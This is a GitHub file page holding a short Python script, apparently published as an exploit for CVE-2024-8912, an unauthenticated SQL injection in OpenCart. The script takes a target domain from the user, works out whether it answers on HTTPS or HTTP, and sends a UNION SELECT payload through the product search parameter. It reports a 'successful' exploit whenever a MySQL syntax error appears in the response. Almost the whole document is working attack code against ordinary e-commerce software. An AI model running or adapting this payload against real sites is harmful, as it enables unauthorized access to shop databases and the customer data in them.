-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCVE-2024-8912.py
More file actions
53 lines (44 loc) · 1.89 KB
/
CVE-2024-8912.py
File metadata and controls
53 lines (44 loc) · 1.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
def display_banner():
print("="*80)
print("Exploit Title: CVE-2024-8912 - OpenCart Unauthenticated SQL Injection")
print("Made By Al Baradi Joy")
print("="*80)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"
try:
response = requests.get(https_url, timeout=5)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")
try:
response = requests.get(http_url, timeout=5)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
exploit_url = f"{target_url}/index.php?route=product/search&search=' UNION SELECT 1,2,3-- -"
try:
print(f"[+] Sending SQL Injection payload to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)
if "MySQL syntax error" in response.text:
print("[✔] Exploit successful! SQL Injection vulnerability confirmed.")
else:
print("[✖] Exploit failed. No indication of vulnerability.")
except requests.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.RequestException as e:
print(f"[✖] Unexpected error: {e}")
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target domain (without http/https): ").strip()
exploit(target)